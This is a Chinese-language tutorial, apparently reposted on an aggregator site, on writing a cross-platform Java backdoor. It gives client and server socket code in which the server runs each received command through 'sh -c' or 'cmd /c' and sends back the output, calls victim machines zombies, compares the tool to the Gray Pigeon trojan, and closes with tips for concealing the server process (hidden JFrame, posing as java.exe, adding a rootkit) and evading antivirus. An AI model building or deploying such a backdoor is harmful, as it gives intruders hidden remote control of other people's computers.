后门怎么写隐蔽java_用Java写黑软-后门篇
這次我給大家帶來的是《用Java寫黑軟-后門篇》,目前我在網上還沒有找到哪位高手把自己寫的java后門公布出來,有的也多是些惡搞的東西,所以這次我就來獻獻丑了。
先來一段理論的東西,后門,其實說到底就是一種C/S或者B/S模式的程序或軟件,所謂C/S,C就是指Client(客戶端),S就是指Server(服務端),服務端運行在服務器上面,等待專門的客戶端的連接。譬如灰鴿子之類的黑軟,生成在肉雞上面運行的就是服務端,控制端就是客戶端了。服務端在客戶端連接上的時候,響應客戶端發送給服務端的指令,并將結果回送給客戶端,這些回送的結果可以是文字、圖象或錄像等。所謂B/S,B就是指Browser(瀏覽器),客戶可以通過瀏覽器直接訪問,移植性好,S就是服務端了,上面介紹過了,就不說了,VNC就是這類遠程控制的代表。
Java憑借著其優良的跨平臺性普及得非常迅速,基本上現在主流發行版的linux都已經集成了jdk,隨著Java的迅猛發展,Windows受其影響,越來越多的用戶安裝jre。而這樣,就為我們使用Java寫跨平臺后門,甚至是跨平臺病毒提供了環境。
轉入正題,我們這次寫的C/S模式的后門。
客戶端:
下面是客戶端的界面(圖1):
圖1
界面的制作不是我們介紹的重點,我就直接用console的了,我們的后門涉及到socket,所以我們開始要引入java.net.*
連接服務端:connectServer()
Copy code
Socket(InetAddress address, int port)創建一個流套接字并將其連接到指定 IP 地址的指定端口號。client = new Socket(ip,port);//先連接到服務端,ip、port對應服務端地址和端口,如果連接不上主機都會拋出異常。如果成功連接上服務端,我們就可以開始發送數據了,然后讓服務端進行處理。
發送客戶端命令:exec()
Copy code
PrintWriter out = new PrintWriter(client.getOutputStream(),true); //客戶端發送數據到服務端變量BufferedReader in = new BufferedReader(new InputStreamReader(client.getInputStream())); //得到服務端發送給客戶端的數據變量,用來儲存返回的數據客戶端處理退出指令代碼:if(line_user.equals("exit")){ //假如用戶輸入exit命令, out.println(line_user); //向服務端發送退出命令client.close(); //關閉客戶端的socket連接 out.close(); //關閉數據發送流 in.close(); //關閉接受數據流disconnect(); //關閉連接并初始化窗口}
處理除exit指令外其他指令的代碼
Copy code
out.println(line_user); //發送客戶指令到服務端,line_user為客戶指令line_server = in.readLine(); //獲得服務端返回數據,也就是結果為了避免我們的結果窗口太混亂,每次打印結果前都先清空窗口內容jtaResult.setText("");//循環打印結果, while(line_server.equals("null")==false){ //判斷讀到的是不是null字符串,注意,一定是字符串,而不是null類型,因為到我們結果的最后一行發過來的是“null”jtaResult.append("recieve:"+line_server+"/n"); //打印結果line_server = in.readLine(); //因為in是BufferedReader類型,要用in.readLine()來逐行讀取內容} jtaResult.append("over"); out.close();in.close();
服務端:
因為這只是一個Java木馬雛形,而且也為了方便我們調試和觀察結果,所以我沒有做木馬的隱蔽之類的工作。
關鍵變量聲明:
ServerSocket server = null; // 服務端變量,因為ServerSocket能在本地指定端口進行監聽
原型:ServerSocket(int port) 創建綁定到特定端口的服務器套接字。
Socket client = null; // 客戶端變量,配合ServerSocket來實現響應客戶端的連接
類構造方法
Copy code
public Server() {port = 10086; //默認我們用10086端口,盡量用后面的端口,因為前面的有很多端口可能被占用了。init(); //調用初始化服務端方法}// 可定制端口的構造方法,提供自己定制端口public Server(int port) {this.port = port;init();}初始化服務端:init()try {server = new ServerSocket(port); // 新建服務端,在port端口監聽連接 System.out.println("正在" + port + "端口等待連接");} catch (IOException e) {e.printStackTrace(); System.out.println("無法在端口:" + port + "建立監聽"); //可能是端口被占用,或者權限不夠}try {client = server.accept(); // 得到客戶端的連接,accepte()方法可以獲得來自客戶端的連接 System.out.println(client.getInetAddress() + "正在連接");} catch (IOException e) {e.printStackTrace();}client.getOutputStream() //用來獲得發送給客戶端的數據,也就是我們返回給客戶端的結果client.getInputStream() //得到從客戶端發送過來的命令
因為我們從客戶端發送給服務端的命令一次只有一行,所以我們只需要用一次in.readLine(),把命令讀進來。
因為就算客戶端不發送命令給服務端,in.readline()也不會為空,所以我們可以用in.readLine()!=null來做一個類似消息相應的循環,相應客戶端發過來的每一條指令。
Copy code
if(line.equals("exit")){ //這個就是用來相應exit命令的,用來跳出當前連接 System.out.println("客戶斷開連接"); break; }
指令執行:
方法原型:
Process Runtime.exec(String command) 在單獨的進程中執行指定的字符串命令
如果我們要執行系統命令就需要調用Runtime.exec(String command)方法,它返回的是Process,Process這個類它提供了一個getInputStream()方法,可以讓我們得到命令執行返回的結果,這就為我們返回執行完客戶端命令后將結果返回提供了條件。
Copy code
if(new SystemInfo().getOSName().equals("Linux")){p = Runtime.getRuntime().exec("sh -c "+line);}else if(new SystemInfo().getOSName().substring(0,7).equals("Windows")){ if(line.endsWith(":")) //主要用于dir根目錄的命令,是不是以/結尾line=line+"//"; //加上/p = Runtime.getRuntime().exec("cmd /c "+line);}
上面是命令執行的具體實現,因為我們為了實現跨平臺,所以我們區分出服務端正在運行在哪個平臺。我這里只列舉了Linux和Windows平臺,其他平臺因為我還沒有研究過,所以就不寫了。
SystemInfo這個類是我自己新建的,等下會介紹。我們只用到這個類里面的getOSName()方法來獲得當前操作系統版本。Linux內核它都返回“Linux”,Windows系列的操作系統返回的就不同了,不過它的前面都會包括“Windows”,所以我們只需要比較“Windows”就可以了。
大家應該知道,Linux下調用終端執行命令前面是要加上“sh –c”才能正常執行,否則有些命令是執行不了的,Windows同樣,不過前面是加上“cmd /d”。到了這了,我們就已經實現我們跨平臺后門的雛形了,因為只要我們這個后門運行在管理員權下,它就具有管理員權限了。
SystemInfo類:
這個類我們只是用來獲得系統版本,通過Properties來獲得系統信息。
Properties原型:
Properties(Properties defaults) 創建一個帶有指定默認值的空屬性列表。
但是Properties有需要System.getProperties()來獲得,然后Properties(System.getProperties())就能得到系統信息了。
得到的Properties里面有很多信息,我們可以利用Properties().list(System.out)來打印全部獲得的信息。但是我們只關心其中操作系統的版本,就要用到getProperty(指定屬性值),通過Properties().list()我們可以知道所有的屬性值,操作系統的屬性值就是os.name。
Copy code
public SystemInfo(){ Properties prop = new Properties(System.getProperties());osName=prop.getProperty("os.name");}
下面簡單分享下個人隱藏服務端的一些思路。Java程序執行的時候都需要到命令行下執行“java 文件名”,然后就不能把那個命令行窗口關掉。這樣直接放到服務器上運行不被發現才怪,我們可以將服務端做進一個JFrame里面,然后將JFrame的visiable設置成false,然后打包成jar文件,就可以實現窗口的隱藏了,如果在任務管理器中將服務端給隱藏了,那在進程管理器中只會出現java.exe進程,一般來說特別具有迷惑性,還以為是sun的java.exe,其實是java.exe運行了我們的服務端。或者我們再另外加個rootkit,將服務端有關的信息全部隱藏了。
好了,說到這里,我們的Java跨平臺后門算是真正產生了,雖然這只是一個雛形,沒有象灰鴿子一樣豐富的功能,但是那些都是遲早的事情,留給各位添加了。而且現在殺毒軟件都把目光放在.exe等可執行文件上面,還沒有把毒手伸向java,只要大家利用在本文的基礎上發展下Java的后門,就算你放在殺毒軟件面前說你是木馬,它也沒奈你何,實話說我這個嚴格來說這能說是一種C/S模式的遠程執行軟件而已。
總結
以上是生活随笔為你收集整理的后门怎么写隐蔽java_用Java写黑软-后门篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 白腊海门票军人优待证能用吗?
- 下一篇: 装机系统u盘怎么安装系统教程图解 图解装